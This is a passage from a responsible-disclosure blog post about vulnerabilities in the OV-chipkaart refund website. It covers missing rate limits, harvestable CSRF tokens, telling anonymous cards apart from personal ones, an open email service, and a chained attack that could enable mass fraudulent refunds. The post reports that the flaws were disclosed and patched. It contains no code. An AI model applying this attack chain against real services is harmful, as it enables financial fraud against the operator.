<p>There were <strong>no CAPTCHAs</strong>, no IP rate limiting, and no backend validation to stop automated guessing. Combining this with valid card numbers enabled precise profiling of expired cards eligible for refunds.</p>
<hr />
<h3 id="heading-3-harvestable-csrf-tokens">3. <strong>Harvestable CSRF Tokens</strong></h3>
<p>While some endpoints used CSRF tokens, they were embedded in static HTML as hidden input fields, easily retrievable via script on every page load. This made <strong>token reuse and automated form submission</strong> trivial.</p>
<hr />
<h3 id="heading-4-identifying-anonymous-vs-personal-ov-cards">4. <strong>Identifying Anonymous vs Personal OV Cards</strong></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749477057596/e2faf0f1-f98d-46c4-8ce3-467c47e60ad1.png" alt class="image--center mx-auto" /></p>
<p>Interestingly, the site’s response behavior was different based on card type. Anonymous cards prompted suggestions to upgrade to personal cards, while personal ones simply displayed the balance.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749477065393/95ed6789-2885-402b-b288-db47e3e92fed.png" alt class="image--center mx-auto" /></p>
<p>This <strong>allowed an attacker to identify anonymous cards</strong>, which are eligible for remote refund without physically owning them.</p>
<hr />
<h3 id="heading-5-misconfigured-email-service">5. <strong>Misconfigured Email Service</strong></h3>
<p>The refund reminder service at:</p>
<pre><code class="lang-plaintext">https://www.ov-chipkaart.nl/kopie-van-saldo-terugvragen/ov-chipkaart-e-mailservice-3.htm
</code></pre>
<p>was <strong>completely open</strong>, accepting all card numbers (anonymous or personal), without CAPTCHA or CSRF protection. It could be abused to validate card status, and even <strong>spam or flood</strong> user inboxes.</p>
<hr />
<h2 id="heading-impact-financial-abuse-at-scale">💣 Impact: Financial Abuse at Scale</h2>
<p>According to OV’s own documentation, <strong>anonymous cards that expired less than one year ago</strong> with less than €50 in credit are eligible for online refunds <strong>without requiring the physical card</strong>.</p>
<p>By combining:</p>
<ul>
<li><p><strong>Valid card enumeration</strong></p>
</li>
<li><p><strong>Expiration date brute forcing</strong></p>
</li>
<li><p><strong>Anonymous card detection</strong></p>
</li>
</ul>
<p>An attacker could script mass refund requests for thousands of expired anonymous cards. Assuming just <strong>10,000 cards</strong> with unused balances below €50, the potential loss could exceed:</p>
<blockquote>
<p><strong>€500,000</strong></p>
</blockquote>
<p>This wasn’t just theoretical. we provided working proof-of-concept scripts (<a target="_blank" href="http://chipkaart-checker.py"><code>chipkaart-checker.py</code></a>, <a target="_blank" href="http://expiration-checker.py"><code>expiration-checker.py</code></a>) and responsibly disclosed them.</p>
<hr />
<h2 id="heading-resolution">✅ Resolution</h2>
<p>I'm happy to confirm that after coordinated disclosure with the responsible parties, <strong>all identified vulnerabilities have been patched</strong>, and proper mitigations including CAPTCHA, backend validation, and request limits have been deployed.</p>
<hr />
<h2 id="heading-key-takeaways">🧠 Key Takeaways</h2>
<ul>
<li><p><strong>Never trust client-side validation</strong> — always validate sensitive data on the server.</p>
</li>
<li><p><strong>Rate limits and CAPTCHA are not optional</strong> — especially on endpoints handling sensitive queries or financial actions.</p>
</li>
<li><p><strong>Minimal information disclosure can cascade</strong> — what looks like a minor UI difference can lead to a serious security chain.</p>
</li>
<li><p><strong>Security through obscurity fails</strong> — publicly available ranges, lack of CSRF protections, and weak authentication create systemic risk.</p>
</li>
</ul>
<hr />
<h2 id="heading-responsible-disclosure">🔐 Responsible Disclosure</h2>
<p>All findings were submitted to the OV-chipkaart team and handled professionally. I'm grateful they took the matter seriously and worked promptly to resolve the issues.</p>
<hr />
<p>If you're a security researcher or developer working on public-facing infrastructure, let this be a reminder: <strong>it’s rarely one vulnerability — it's the chain that breaks you</strong>.</p>
]]></content:encoded></item></channel></rss>